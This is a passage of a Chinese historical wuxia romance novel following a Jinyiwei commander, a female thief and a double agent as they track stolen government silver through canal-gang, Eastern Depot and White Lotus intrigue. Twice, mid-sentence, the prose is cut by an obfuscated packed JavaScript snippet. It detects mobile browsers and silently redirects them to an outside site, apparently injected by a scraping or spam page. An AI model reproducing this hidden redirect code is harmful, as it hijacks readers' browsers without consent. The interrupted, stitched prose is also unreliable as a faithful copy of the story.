几声痛呼传来,伴着颈骨断裂的声响,程墨亭站在一处阴影下,拍了拍手上泥尘:“聂大人就算停职,也未免太低调了些。” 阴影里踉跄冲出个肥硕的身影,崔泓官袍散乱,怀中还搂着个天香苑的姑娘,在看清聂未晨的瞬间,脸上血色尽褪:“聂……聂大人……” “崔大人,别来无恙?”聂未晨目光扫过漕船各处,似观光一般,“东厂的银子,漕帮的船,您这是要给宁王贺寿?” “不是不是不是,误会……误会……” 聂未晨火铳抵上了崔泓的眉心:“三年前在扬州,你断我锦衣卫七条人命,也是误会?” “聂未晨!”梁若鸢踏着桅杆飞身落下,“留活口!他还有……” 崔泓趁机将怀中女子推向火铳,程墨亭闲闲挡在他面前,笑意温润,手中薄刃挑断了那姑娘肩上衣带,落出满地盐引票据。 “精彩。” 他抽出腰间折扇,蹲下挑起一张盐引,“原来崔大人把官银熔了铸成了私盐,天香苑的姑娘们当信使……”他忽然收声,侧耳细听,“啧,东厂的狗来得真快。” 河岸上的火把飘上了水面,十余艘快船围向漕船,聂未晨将梁若鸢护在身后,却见她唇角勾起一抹笑来:“大人别紧张。” 18. 适可而止 “抓住他们!”冯玉尖细的嗓音在夜风中显得格外刺耳。 崔泓趁机拉着姑娘跳进水里,两人爬上了一艘刚刚驶近的小船:“快!那个女贼!就在上面!” 程墨亭眯了一下眼睛,轻笑一声,摇起扇子来,终究没看出这东厂狗腿子到底长什么模样:“聂大人的仇家类型倒是丰富,只是这档次……”三支弩箭擦着他鬓角飞过,“啧,连暗器用的都是坊间三文钱一捆的劣等货。” 聂未晨闻言侧目:“程老板这些年周旋于漕帮和盐商之间,连白莲教都认得你腰上那块玄铁令。”他稍稍逼近半步,吐字如冰,“这般长袖善舞,还计较什么雅观?” 水面传来机括咬合的咔哒声,程墨亭折扇展开,十二枚穿骨钉在扇骨里泛起幽光。 “聂大人这是在激我?”他微微偏头,看向河面逼近的流萤火把,嗓音低缓,“可惜啊,我这人,最受不得激,尤其是……”他屈指一弹,扇骨中寒芒骤闪,“看见东厂小狗的时候。” 暗器破空,水面传来几声闷哼,数点流萤落入水中。 梁若鸢一把拽了聂未晨往船尾跑:“大人,再斗嘴,狗咬脚后跟了。” 聂未晨还未反应,转身一个踉跄:“乔姑娘倒是热心,莫不是投靠了谁,趁机挟持我?” 程墨亭折扇一收,扇骨击落两道流矢,轻笑道:“挟持?我看梁姑娘分明是心疼了。”他侧生让过一道刀光,语气戏谑,“聂大人若是不领情,不如跟我走?漕帮的酒可比东厂的刑具好喝。” 聂未晨反手握紧梁若鸢的手腕,拔刀挑飞数支弩箭:“程老板的嘴,比东厂的番子能颠倒黑白。”他回望梁若鸢,忽然一笑,“是吧,梁姑娘?” 梁若鸢一晃神,脚下踩空,聂未晨将她揽起:“别紧张。” 程墨亭扇骨敲在嘴上:“呀,一不小心坏了梁姑娘的好事。” 梁若鸢牙齿轻咬嘴里的肉,鼓着气:“程老板认错了,我不姓梁。” 聂未晨臂弯一空,回头看见她一个纵身掠向远处河岸,漂浮的火光纷纷落入水中,他匆忙追去:“程老板真是好算计。” 程墨亭“啧”了一声:“你们打情骂俏又与我何干?” 三人落在生满芦苇的河岸,忽见数十火把亮起,破雾而来一个粗旷的声音:“哪个不长眼的?敢闯我漕帮水寨?” 聂未晨追上梁若鸢,将她拽到自己怀里,闭了闭眼,目现凶光:“……程墨亭!” 程墨亭在他身旁停住,无辜摊手:“这个真不是我安排的。” 梁若鸢轻声感叹:“看来今晚的酒不喝不行了……” 夜色如墨,漕帮水寨灯火通明,帮众个个持刀,将三人带回。 程墨亭斜倚在水寨大堂红木柱上,指尖轻敲扇骨,笑意慵懒:“赵帮主,您这漕船走南闯北,可曾听说过……官银走水路的事儿?” 这帮主名唤赵擎,浓眉一拧,酒碗重重一放,探出身子细瞧:“这是程老板?什么意思?我漕帮虽不是什么名门正派,但私运官银可是杀头的罪!我赵某人还不至于眼皮子浅到这份上!” 程墨亭眼尾微挑,笑意更深:“帮主别恼,我这不是听说最近道上不太平,怕有人借您的船……做些见不得光的买卖?” 赵擎冷哼一声:“谁敢?!” 程墨亭笑而不语,目光若有似无地扫过席间几个神色微变的堂主。 梁若鸢指尖轻抚鬓边珠钗,故作娇弱地轻咳两声,对赵擎盈盈一礼:“赵帮主,今夜风急浪大,行船恐有危险,不知可否容小女子在寨中借宿一晚?” 赵擎审视道:“这位娘子是……?” 梁若鸢端身低眸,吐字动作化作千金小姐的姿态:“小女子姓沈,是家父是苏州盐商,刚刚接管家里的生意,今日随船到此。” 赵擎当即拍板:“沈小姐放心!我这就让人收拾两间干净的厢房!” 聂未晨抱刀而立,冷声开口:“一间便可。” 梁若鸢眼波微转,故作惊讶地掩唇:“聂护卫,虽说爹爹要你随身保护,可这……于礼不合吧?” 聂未晨面不改色:“江湖险恶,属下必须贴身保护小姐安全。” 赵擎哈哈大笑:“这位护卫倒是尽职!好,就依你们!” 程墨亭一笑,颇有意味,端起桌上酒碗:“来,帮主豪爽,我们喝几壶,正好聊聊我那些茶叶的事情。” 赵擎眼中一亮:“好!程老板有多少货,我们好好聊聊!”他起身示意帮众带梁若鸢离开,将程墨亭请入里间。 聂未晨扫过一眼各处构造,跟在梁若鸢身侧,江风裹着水汽扑面而来,数十艘乌篷船静泊岸边,船身吃水极深,船与船之间以粗麻绳相连,绳索上褪色的红布条在风中猎猎作响。 水寨主楼高三层,木质吊脚,檐角飞翘,楼前空地几堆篝火,外围隐约可见一圈栅栏,皆是削尖的木桩,围着生锈的铁链,江鱼和铁锈的气味随风而来。 厢房门一关,梁若鸢瞬间收了那副小姐模样,懒洋洋往榻上一靠,挑眉看向聂未晨:“聂大人,你这借口找得……未免太迫不及待?” 聂未晨反手锁上门窗,嗓音低沉:“乔姑娘方才在席间,故意让那内鬼注意到你,不也是迫不及待?” 她轻笑,指尖绕着一缕发丝,玩味道:“我若不引人注目,怎么引蛇出洞?” 窗外一阵脚步声,极轻,两人对视一眼,聂未晨吹灭烛火,将梁若鸢拉至身后。 黑暗中,她的右臂紧贴着他,能清晰感觉到他的心跳和呼吸。 “聂大人,”她压低嗓音,带着几分戏谑,“你这算不算假公济私?” 他伸手将她抱在身前,把她的脸按在自己心口处,双臂微微收紧,紧盯着窗户,声音近乎耳语:“……别出声。” 窗外,黑影逼近,梁若鸢发间唯一一支珠翠轻轻晃动,忽然整个人倚在他身上:“这水寨风大,我有些冷。”她嗓音轻软,故意抱住他。 聂未晨眉峰微挑,没看她,扯了榻上薄毯裹在她肩上:“乔姑娘,有些戏码,适可而止。” 她轻笑,凑近他耳边,悄声道:“怎么,大人是怕被人看出……你其实很吃这一套?” 聂未晨眸光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869666|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一暗,扣住她后颈,逼他抬起头来,低声道:“只吃你……这一套。” 梁若鸢一怔,却见他目光盯向窗扇,松开捏她的手,将窗沿挑开一条缝隙,指了指:“看外面。” 一个鬼鬼祟祟的帮众正偷偷往一艘货船上搬箱子,箱角隐约露出官银的印记。 她唇角一勾,指尖轻轻划过他的掌心:“看来,我们钓到鱼了。” 聂未晨五指收拢,没让她抽回手:“……别乱跑。” 梁若鸢笑意更甚:“聂大人这是……担心我?” 他握紧她的手腕,拇指指腹抚过她腕上齿痕:“担心你坏我大事。” 梁若鸢轻笑,反手扣住他的手腕,指甲在他掌心不轻不重地一刮:“聂大人,你这借口……越来越敷衍了。”她忽然贴近,气息拂过他耳际,“不如直说,你就是想管着我?” 聂未晨眸光一暗,正欲开口,远处传来几声哨响,似是某种暗号? 两人对视一眼,同时松手,朝声源处飞掠而去。 货船阴影中,一靛蓝衣衫的帮众正将一箱官银推向接应的舢板。 梁若鸢身影一闪,袖中小刀直取对方脖颈:“这位兄台,深更半夜搬东西,不累么?” 那人猛地回头,脸上刀疤狰狞,竟不躲闪,反而狞笑一声:“等的就是你们!” 聂未晨刀锋已至,寒光乍现,却听芦苇荡中响起一片机括声,数十支弩箭破空而来。 “乔乔!”聂未晨旋身将她护在怀中,刀花挽成密不透风的网,箭矢叮当落地,那刀疤脸趁机跳上了舢板。 梁若鸢挣开他,拔腿就要去追,江面瞬间炸开一道白光,烟雾中,一队白袍人踏水而来,袖口莲纹翻飞。 “白莲教?!”聂未晨大惊,伸手去抓,却只撕下她右手半幅袖角。 烟雾在眼前散去,江面空余涟漪,梁若鸢原先站立处,一支银簪落在地上,簪头珠花染血。 聂未晨将簪子拾起,死死攥住,指节渐渐泛白。 程墨亭从阴影中踱出,折扇展开,扇面墨莲竟与白莲教纹样分毫不差,他望着聂未晨猩红的眼角,轻笑道:“聂大人,现在……要合作么?” 聂未晨缓缓抬头,眼底泛起血色,刀锋直指他颈项:“你竟与白莲教勾结?” 程墨亭不避不让,扇骨弹出一截薄刃,堪堪架住钢刀:“聂大人不妨猜猜,我这扇上莲纹,为何与白莲教圣物一模一样?"他忽然压低嗓音,“三年前扬州漕运案,你当真以为只是东厂的手笔?” 聂未晨声音嘶哑:“她在哪?” “分舵地牢,明日午时祭旗。”程墨亭忽然翻腕,扇面莲纹竟剥落一层,透出底下鎏金官印,“但我更好奇……”他指尖轻弹,一枚白玉令牌飞起,落入聂未晨掌心,“梁姑娘身上为何会有兵符副令?" 更声敲响,程墨亭退入阴影中:“寅时三刻,漕帮旧码头见。”他衣袂翻飞,露出心口一道陈年箭疤,与白莲教刑堂堂主当年的致命伤分毫不差。 聂未晨握紧令牌,触到的暗纹竟是一行小字:“白莲祭坛,水下有路。” 19. 天作之合 “穿着不难受?” 更深露重,天香苑楼阁檐角蹲兽如鬼魅森然,朱红灯笼垂挂檐下,江风吹拂,晃动不止。 楼内丝竹靡靡,歌姬软语混着酒香溢出窗外,散在雾气氤氲的江面上。 白莲教众堂主齐聚后院刑堂,“妖女”柳无霜冷眸扫过众人,指尖轻敲座椅扶手:“梁若鸢身上没有那半枚铜钱,只有半块飞鱼符和一个象牙牌子,那必是程墨亭那厮抢先一步夺走了!” 掌印堂主冷哼一声:“程墨亭那叛徒,先前仗着先堂主遗物耀武扬威,如今还敢染指教中秘宝?依教规,当断其四肢,废其武功!” 执事堂主沉吟道:“可就怕他与朝廷有所勾结,贸然动手,恐惹祸端。” 柳无霜眼中闪过杀意:“先不管程墨亭,这女贼明目张胆地跟在锦衣卫身边,狗皇帝定是与这女贼有什么诡计,她若不死,后患无穷,明日午时,处以‘千莲噬心’之刑,以儆效尤!” 议间,堂外响起打斗声,一教众仓惶闯入:“不好了,冯玉那狗贼,带着东厂的人杀进来了!漕帮也有人混在其中,前堂已乱!” 柳无霜拍案怒道:“冯玉这种狗腿子,也敢闯我圣教?!” 前院戏台上,花旦水袖挥出,三尺白绫中寒光乍现。 台下几个漕帮帮众喉间绽开血花,冯玉一剑劈开近前的描金屏风。 “找!”他挑飞一盏琉璃灯,火油泼在一旁竹帘上,“要活的!” 火势乍起,顺着楼阁梁柱蔓延,一幅幅描着春宫图的隔断在火光下通明清晰。 刑堂暗室,梁若鸢腕间镣铐几乎勒进皮肉,墙角青铜灯树投下斑驳光影,刑堂堂主张无正用一柄小刀慢条斯理地挑开她肩头一片染血的衣料。 “姑娘这身细皮嫩肉……”刀尖忽然下压,在锁骨划出一道血线,“经得起几刀?” 梁若鸢忍痛一笑,锁链“哗”地一声落在地上,那堂主霎时惊到,她旋身一踢,整座灯树砸向他。 火光倾泻,灯油滚汤,张无正捂脸惨嚎,踉跄撞在墙边。 她抄起地上锁链,绞住他的脖颈,铁锁重新拷紧,将他牢牢锁在红木柱上:“狗狗乖。” 张无正青筋暴起,挣扎着去抓腰间的短刀,梁若鸢一脚踹中他手腕,刀刃落地,她双手一拧,锁链骤然收紧,张无正双目圆睁,喉骨碎裂,“砰”地倒在地上。 她吓了一跳,看着张无正扭曲的面容打了个寒颤,用染血的衣袖擦了擦脸,唇角留下一道血痕。 “有怪莫怪,我不是故意的。”她喃喃自语,声音有些发颤,踹开后窗,纵身跃下。 夜风呼啸,她落在□□回廊一处檐角上,看见前院冯玉率众与白莲教徒缠斗,刀光剑影,血溅红栏。 东厂番子封锁了各处出口,雁翎剑寒光闪动,似在在等着什么人。 梁若鸢心念一转:“东厂这是……要活捉我?程墨亭……?” 一道黑影掠过屋脊,程墨亭折扇轻摇,黑莲之下鎏金官印若隐若现,他似笑非笑,瞥她一眼,忽又飞掠离开。 梁若鸢迈了一步,收了姿态,决定不追:“不行,怕是有诈……”她纵身跃上高墙,落在一处街角。 柳无霜怒喝声自暖阁中传来:“给我搜!” 她心头一凛,兵符副令若落在他们手里,后果不堪设想。 她足尖一点,掠向江岸,江畔芦苇如浪,杀机暗伏,她刚站定,颈后一凉,一柄雁翎剑抵在她后心处。 “姑娘,督公有请。”东厂档头阴测测的声音在耳边响起。 梁若鸢眸光一冷,袖中小刀滑入掌心,她正欲反击,忽听“嗤”的一声轻响,那档头喉间多了一枚铜钱,瞬间倒地。 程墨亭立于不远处一方断垣上,折扇轻摇:“东厂的小狗,也配动我的猎物?”他轻笑一声,扇骨一展,数枚银镖射出,芦苇中传来数声重物倒地的闷响。 梁若鸢警惕后退:“程墨亭,你究竟是谁的人?” 程墨亭未答,将折扇一合,指向江面,一艘乌篷船无声驶来,船头老者手持两半铜钱信物,声音苍老沙哑:“上船,或者死。” 江风呜咽,乌篷船在芦苇荡中轻轻摇晃,梁若鸢盯着程墨亭,手中刀刃仍未收起,又问:“你是陛下的人?” 扇面黑莲纹下,鎏金官印在月光下泛着冷光,他淡淡一笑:“三年前,我本该死在漕运案里。” 船头老者咳嗽一声,沙哑道:“姑娘还是上船吧,再耽搁,东厂和白莲教的人就都该追上来了。” 梁若鸢犹豫一瞬,终是跃上船板,乌篷船滑入鳞波中,江雾渐浓,恰好遮掩了行迹。 程墨亭从怀中取出一封密信,递到梁若鸢眼前:“三年前,我奉命潜入白莲教,查探官银失窃一事,结果发现,不止漕帮和白莲教参与其中……” 梁若鸢展开密信,上面详细记载了十四年前科举舞弊案的蛛丝马迹,盐税账目被篡改,官银流向不明,而最关键的那批证物,在案发后不翼而飞。 “所以,你要找的不仅是白莲教的罪证,还有当年那批官银?”她抬眼看他,眼中闪过一瞬希冀。 程墨亭摇扇点头:“那批银子,是铁证。” 船头老者插话道:“银子不在白莲教手里,也不在漕帮。” “那在哪儿?”梁若鸢皱眉。 老者缓缓摊开手掌,掌心躺着那枚断裂的铜钱:“当年经手此事的,除了白莲教和漕帮,还有一个人……苏州织造,赵世安。” 船舱内,烛火摇曳,梁若鸢盯着那铜钱,指尖微微发颤。 “赵世安……”她低声自语,眼中寒芒骤现。 程墨亭察觉她神色有异,眉梢微挑:“你认识他?” “何止认识。”梁若鸢冷声道,“十四年前,我父亲,苏州通判梁渝,就是被他构陷入狱,家破人亡……” 船头老者闻言,眼中浑浊忽然收尽:“你是梁小姐?!” 梁若鸢指尖勾弄手中短刃:“当年我父亲发现盐税账目有异,上书朝廷,却反被诬陷贪腐……家产抄没,男丁流放,女眷官卖为奴……我被牙婆拖去教坊司那晚,咬穿了她耳朵才逃出来。” 程墨亭折扇敲了敲掌心:“所以你要找的不只是证物,还有……复仇?” 梁若鸢抬眸,眼中泪光分明:“我要他们……血债血偿……” 江雾深处,忽有火光逼近,老者低声道:“是东厂哨船。” 程墨亭拽住梁若鸢的手腕:“梁姑娘的感受我能理解,但眼下不是意气用事的时候,赵世安背后牵扯的势力,比你想象的可怕。” 梁若鸢挣开他,从怀中掏出兵符副令拍在桌上:“陛下给我这个,不就是让我查个水落石出吗?既然如此……”她抓起那半枚铜钱,“新仇旧账,一起算!” 船外哨箭破空而来,程墨亭叹了口气,掀开舱板暗格:“那就先活过今晚。”暗格里,整整齐齐码开十余把淬毒的袖箭。 老者操起船桨,乌篷船猛地调头,扎进芦苇荡暗处,雾霭中,隐约可见数艘快船包抄而来,船头是东厂番子,鱼龙服金线若隐若现。 梁若鸢抓起两把袖箭,唇边笑意狠绝:“第一次用,拿他们试试刀。” “赵世安如今已是当朝户部左侍郎,为官清正,办事稳妥,深受陛下赏识。”程墨亭合上折扇,眸光冷冽。 梁若鸢握紧兵符副令,沉声道:“你要我做什么?” “联手。”程墨亭轻笑,直视她,“找到那批官银,你我的身份做搭档,也算天作之合。” 芦苇荡中,东厂的快船已然逼近,火把映在水面上,东厂档头一声令下,箭雨破空而来。 程墨亭扇骨击落数支箭矢,梁若鸢以毒箭回敬,趁着对方躲闪,她抄起船板上一张渔网,朝追兵甩了过去。 渔网裹着倒钩,缠住了最前方哨船的桅杆,她借力一拽,整艘船骤然倾斜,几名番子惊呼落水。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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聂未晨低眸不答,弯腰拾起那柄折断的扇子,指尖在官印上摩挲了一下,甩手扔给程墨亭:“你的东西。” 程墨亭接住残扇,笑得意味深长:“聂大人不继续打了?” “等事情了结……”聂未晨面无表情,冷冷说道,夜行服衣摆从梁若鸢手边掠过,带起一阵血味的风。 三间茅屋隐在竹林中,老者推开老旧的木门,屋内竟别有洞天。 厅堂地下藏着整间石室,墙上挂满了漕运路线图,案几上堆着账册,最显眼处有一个沙盘,插满代表各方势力的小旗。 程墨亭揉了揉脸上淤青,借口出去放哨,老者一拜,随着出去,石室只剩两人,聂未晨冷脸坐下,给壁炉里的火堆添柴,夜行服下摆还在滴水。 梁若鸢抱臂靠在墙角神龛旁,肆无忌惮地打量他:“锦衣卫是都这么爱生闷气的?” 聂未晨往火堆里扔了根柴,火星“砰”炸开。 她眯起眼,忽然“嘶”了一声,捂住右臂,果然那人即刻转身,却在看到她完好无损的手臂时,目光一沉,起身往外走。 她闪身拦住他,指尖抵在他胸前:“聂大人,你这衣裳……都湿透了。” 她手指顺着衣服上一道金线暗绣缓缓下滑,在腰封处轻轻一勾:“穿着不难受?” 聂未晨呼吸一滞,扣住她的手:“乔姑娘……” “嗯?”她仰起头,眼中带着狡黠的光。 他将她拉近,俯在她耳畔低语:“你确定要在这个时候招惹我?” 梁若鸢眼中狡黠渐收,柔柔一笑,不退,膝头抵上他的腿:“怎么?指挥使大人只会放狠话?” 他不动,眼底血色未消,她指尖勾着他腰间革带,凑近道:“要不你闻闻我身上可有程墨亭的味道?” 20. 十字星纹 壁炉里,火星噼啪爆响,聂未晨攥着她的手腕拉了她转身,抵在沙盘边缘。 木质城池模型插着黑旗标记,边缘城墙皆是石雕细制,硬硬硌在她腰后,聂未晨指尖捏起她的下巴:“程墨亭给你灌了什么迷魂汤?白莲教淬毒的穿骨钉没有让你吸取教训?” 梁若鸢轻轻握了他腰侧伤处,趁他吃痛反身一推,两人调转了位置。 她指尖划过模型沙盘里代表漕帮的蓝旗,沾了案上朱砂,将蓝色旗杆捏断:“聂大人可知,三年前扬州漕运案中那批官银上,有些银子隐约还有弘治年的火漆印?" 聂未晨一惊,那是当年科举舞弊案中失踪官银的标记……他擒住她作乱的手,按在沙盘上,将整个漕运路线碾得面目全非:“所以……你就乐意陪他冒险?” “吃醋了?”梁若鸢舔了他虎口伤处渗出的血,感受到他身上肌肉骤然绷紧,“程墨亭查到通州漕运司书吏……” 石室外传来枯枝断裂声,聂未晨猛地将她拽到身后,警惕着拾起放在壁炉前的刀。 梁若鸢从身后将他抱住,脸埋在他背后轻笑,呼吸烫得他脊背发麻:“乔乔……放开……” “紧张什么?那老头在生火,他是程墨亭的人……”她侧倚在他背上:“你心跳好快。” 刀刃“咣”地砸在地上,聂未晨转身掐住她的腰将她提上案几,账册瞬间散了一地。 他盯着她衣领处若隐若现的淤青,那是白莲教铁莲花留下的痕迹,锁骨处一道伤口令他眼中一痛:“你确定要招惹我?” 梁若鸢勾开他染血的前襟,露出锁骨一侧新鲜的刀伤:“指挥使大人冒死闯刑堂的时候,就没想过……”她吻落在他伤侧半寸处,“我早和程墨亭安排好了退路?” “气我就这么好玩儿吗?”聂未晨狠狠吻住她,斥骂在喘息中含糊,“没心没肺的女人。”她反客为主咬了他舌尖,血腥气在唇齿间蔓延,他摸到了她后腰暗袋里两半铜钱。 “十四年前……通州漕运司的书吏……”梁若鸢喘息着推开他,将铜钱信物塞进他掌心里,“如今也不知在何处……这是白莲教的秘宝。”她指尖在他胸口画了个“赵”字,“户部左侍郎……” “赵世安。”聂未晨接话时眼神已恢复清明,拇指擦过她的唇瓣,“你是不是早知道赵世安是幕后黑手?” 梁若鸢解下他身上湿衣,扯开他腰间染血的绷带,从腰后暗袋中摸出药来,指尖粘了药膏重重按进他的伤处:“现在,指挥使大人还觉得我是喝了迷魂汤吗?” 闷哼声湮没在再度交缠的呼吸中,打翻的药糊混着血色在从通州到江南的整条航线上淌开。 梁若鸢指尖打着圈,抚在他后颈穴位上,轻轻一按,他浑身骤然绷紧,眼底闪过一丝不可置信,意识昏沉下坠。 “你……”他咬牙低喝,却抵不住药性,眼前一阵阵发黑。 她仰起头,在他唇上轻轻一啄,低柔似哄骗,却是不容抗拒的态度:“睡吧,大人。” 聂未晨的手死死攥住她的腕骨,力道大得似要捏碎她,可药效迅猛,他指节一点点松开,最终双手垂落,整个人压在她身上。 梁若鸢将他扶起,用尽力气拖到软榻上,指尖在他紧蹙的眉间轻轻抚过,拉起盖毯盖在他身上:“别追来……把伤养好,否则,我真要生气了。” 火光在他脸上晃动,他呼吸静谧平稳,似睡着了一般,她解下颈上半枚鱼佩,将红绳一圈圈套在他的手腕上,起身从案几上拾起那两半铜钱,指尖抚过上面一圈暗纹,眼底寒光一闪而逝。 石室暗门滑开,程墨亭倚在茅屋门边,折扇轻摇,脸上淤青未消,却笑得惬意:“梁姑娘舍得走了?” 梁若鸢没理他,径直走向门外,在踏出房门前顿了顿,对一旁的老者说道:“他若提前醒了,就告诉他……” 她唇角微勾,眼底却无半分笑意,“敢追来,我就打断他的腿。” 老者躬身应是,程墨亭在一旁听得挑眉,残扇“啪”地一合,他将扇叶勉强重新固定,似笑非笑:“乔姑娘好狠的心啊。” 梁若鸢瞥他一眼,走出门去:“少废话,赶紧。” 两人身影消失在竹林深处,石室内,聂未晨无意识地攥紧了拳头。 …… 通州木场弥漫着松木与桐油的气息,库房门半掩着,发出诡异的“吱呀”声,蓝羽手握钢刀,将门一脚踢开,满地凌乱残破的账簿纸页在日光下字迹清晰可见。 燕十拾起一页撕剩的残纸,发现边缘的焦痕:“火漆印的残渣……曹玉跑得匆忙。” “不止。”蓝羽用刀尖挑起角落里的铁屑,碎屑经过屋顶破洞一道落光时泛起青蓝色,“火铳膛线的打磨屑。”他用刀掀翻地面上整摞账册,地面上几道新鲜的拖痕清晰可见,间距三尺三寸,正是官银箱的标准尺寸。 两人顺着拖痕走到后院废弃的井台,燕十拽了一下生锈的轱辘,绳索上染了斑驳暗红的血渍。 井下回响空洞,蓝羽甩下火折子,照见井壁上人工开凿的暗格。 “空的?”燕十蹙眉道。 蓝羽将刀伸下去,刀身反射的光斑在井底某处一闪,半枚铜钱嵌在井壁石缝里:“那是什么?” “是漕运司。”燕十将绳索捆在自己身上,踩着井壁一点点落下去,拔下那半枚铜钱细看,唇角微勾,“像是故意留线索引我们去……看来有人坐不住了。” …… 通州漕运司衙门前,书吏周显,正大声呵斥着在搬箱子的运工。 蓝羽远远盯着他虎口处醒目的刺青,蹙眉凝思:“赤莲标记似在哪里见过?” 周显看着运工将箱子搬上船,迎上前来,那副模样,与十四年前记录的“文弱书生”截然不同,岁数相当,但显然不是同一个人。 “二位这是……查档?”周显看过他们腰间牙牌,擦着汗赔笑,“十四年前的旧案需知府手令……”话未尽,燕十刀鞘抵住他后腰,蓝羽慢条斯理地展开从木场找到的运单,末尾赫然盖着周显的私章:“去年腊月,大人往南昌运的可不是漕粮啊。” 周显眼神一闪,忽然扯出颈间银哨吹响,屋檐上翻下几个漕帮打扮的汉子,腰间别着东厂的制式臂弩。 “果然都串通了!”燕十旋身劈落三支弩箭,蓝羽趁机擒住周显,从他袖中摸出一张地契,竟是一处南昌别院。 混乱中,周显忽然口吐黑血,脖颈上 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蓝羽甩出身上最后三枚飞镖,拉起燕十撞破后窗遁走。 远处漕河上,一艘官船正缓缓起锚,宁王藩旗在船头猎猎飘扬,甲板上闪过曹玉的身影,绛色衣角迎风招展。 “追!”燕十跃上码头,蓝羽紧随,将他一把拽回。 漕船吃水线极深,船舷压着的水痕里,隐约露出斑驳的朱漆,那是官银箱碰撞留下的痕迹。 “让船走。”蓝羽盯着渐远的帆影,神色平静,“现在我们知道,宁王的火器是怎么运出通州的了。”他从怀中取出那半铜钱,指尖抚过残断的边缘,断口锋利,参差不齐,像是被人刻意掰断,“我们去找找这另一半。” 蓝羽将铜钱对着日光举高,残存的“弘治通宝”四字方正硬朗,断口处隐约可见一道极细的刻痕,一条蛇缠绕着半朵莲花。 “像白莲教的暗记?”燕十眯起眼。 蓝羽摇头:“不全是。”他指尖摩挲着那道刻痕,“蛇缠莲,是漕帮的‘蛇莲令’,只有帮主亲信才有的信物。” 燕十一笑:“所以曹玉不光是东厂的人,还和漕帮有勾结?” “不止。”蓝羽眸光渐深,“这半枚铜钱不是留给我们的,是留给‘他’的。” “他?” 蓝羽未答,将铜钱翻过来,指着背面一处极小的凹槽:“这里面本该嵌着一颗赤珠,现在不见了。” 燕十想起周显虎口上的赤莲刺青:“白莲教和漕帮……联手了?” “不,是有人逼他们联手。”蓝羽收拢掌心,铜钱的边缘硌得他掌心刺痛,“曹玉故意留下这半枚铜钱,是因为他知道……我们一定会去找另外半枚的主人。” “而那个人,才是真正知道官银下落的人。” 漕船帆影已消尽在河雾中,码头上,几名伪装成苦力的探子正悄然尾随他们。 蓝羽余光扫了一眼,低声道:“走,去会会这位‘蛇莲令主’。” 燕十按刀跟上,唇角勾起一丝笑意,玩味道:“看来曹公公的外甥,比我们想的还要有趣。”